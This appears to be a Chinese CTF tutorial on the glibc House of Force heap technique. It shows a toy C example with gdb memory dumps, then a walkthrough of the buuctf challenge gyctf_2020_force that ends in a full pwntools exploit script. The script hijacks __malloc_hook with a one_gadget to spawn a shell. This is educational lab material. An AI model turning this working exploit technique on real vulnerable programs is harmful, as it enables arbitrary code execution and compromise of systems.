原理

House Of Force 是一种堆利用方法,但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。如果一个堆 (heap based) 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小

简单示例

我们这里通过一个示例来说明 HOF 的利用,这个例子的目标是通过 HOF 来篡改 malloc@got.plt 实现劫持程序流程

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(-4120); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}

首先,我们分配一个 0x10 字节大小的块

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk
0x602030: 0x0000000000000000 0x0000000000000000

之后把 top chunk 的 size 改为 0xffffffffffffffff,在真正的题目中,这一步可以通过堆溢出等漏洞来实现。 因为 -1 在补码中是以 0xffffffffffffffff 表示的,所以我们直接赋值 -1 就可以。

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0xffffffffffffffff <=== top chunk size域被更改
0x602030: 0x0000000000000000 0x0000000000000000

注意此时的 top chunk 位置,当我们进行下一次分配的时候就会更改 top chunk 的位置到我们想要的地方

1
2
3
4
5
6
7
0x7ffff7dd1b20 <main_arena>:    0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602020 <=== top chunk此时一切正常
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78

接下来我们执行malloc(-4120);,-4120 是怎么得出的呢? 首先,我们需要明确要写入的目的地址,这里我编译程序后,0x601020 是 malloc@got.plt 的地址

1
0x601020:   0x00007ffff7a91130 <=== malloc@got.plt

所以我们应该将 top chunk 指向 0x601010 处,这样当下次再分配 chunk 时,就可以分配到 malloc@got.plt 处的内存了。

之后明确当前 top chunk 的地址,根据前面描述,top chunk 位于 0x602020,所以我们可以计算偏移如下

0x601010-0x602020=-4112

此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数。

1
void *__libc_malloc(size_t bytes) {

如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小,即

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/

#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);

一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。

另一方面,在满足对应的约束后,我们需要使得 request2size正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。

因此,我们当调用malloc(-4120)之后,我们可以观察到 top chunk 被抬高到我们想要的位置

1
2
3
4
5
6
7
0x7ffff7dd1b20 <main_arena>:\   0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <=== 可以观察到top chunk被抬高
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78

之后,我们分配的块就会出现在 0x601010+0x10 的位置,也就是 0x601020 可以更改 got 表中的内容了。

但是需要注意的是,在被抬高的同时,malloc@got 附近的内容也会被修改。

例子:buuctf上gyctf_2020_force

ida:

avatar

add函数

avatar

分配大小受不受限制,但输入大小为恒定0x50,会输出chunk地址。

put函数

avatar

没啥用。。。。

思路:

第一步是泄露libc地址,当我们申请一个极大Chunk时,程序会调用mmap进行内存分配,分配下来的地址之后就是是libc
如下图所示,我们得到的地址为0x7fef2dbc4010,而Libc地址为0x7fef2ddc5000

第二步需要把top chunk大小改为0xFFFFFFFFFFFFFFFF,这样我们才能不限制地进行分配,这是因为malloc时会进行如下检查

在这里插入图片描述

如果我们把top chunk大小改为0xFFFFFFFFFFFFFFFF,进行比较的时候会按照无符号数进行比较,就一定能通过检查,在进行此次分配时,我们还能顺便得到heap chunk的地址,并计算top chunk地址,之后计算malloc_hook与top chunk的偏移,记为offset

第三步需要分配offset -0x33(经过调试得到,当然因为对齐的原因不一定要0x33,0x37-0x30范围都可以,我们的目的是要把top_chunk搞到malloc_hook-0x20)的大小,此时我们得到的地址为__malloc_hook-0x10,这是因为本题中One_gadget需要利用realloc对栈进行调整

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
from LibcSearcher import*
context.log_level='debug'
r=process('./gyctf_2020_force')
#r=remote('node4.buuoj.cn',26633)
elf=ELF('./gyctf_2020_force')
#libc=ELF('./libc-2.23.so')
libc=ELF('./2.23/libc.so.6')
def add(size,test):
r.sendlineafter('2:puts','1')
r.sendlineafter('size',str(size))
r.recvuntil('bin addr ')
addr = int(r.recv(14), 16)
r.sendlineafter('content',test)
return addr

def show():
r.sendlineafter('2:puts','2')

base=add(0x200000,'a')+0x200FF0 #步骤一
print hex(base)
top=add(0x18,'a'*0x10+p64(0)+p64(0xffffffffffffffff))+0x10 #步骤二
print hex(top)
malloc_hook = libc.sym['__malloc_hook']+base
print hex(malloc_hook)
realloc = libc.sym["__libc_realloc"]+base
one=base+0x4525a
offset = malloc_hook - top
#gdb.attach(r)
add(offset-0x33, 'aaa') #步骤三
add(0x10, 'a'*8+p64(one)+p64(realloc+16))

r.recvuntil("2:puts\n")
r.sendline('1')
r.recvuntil("size\n")
r.sendline(str(20))

r.interactive()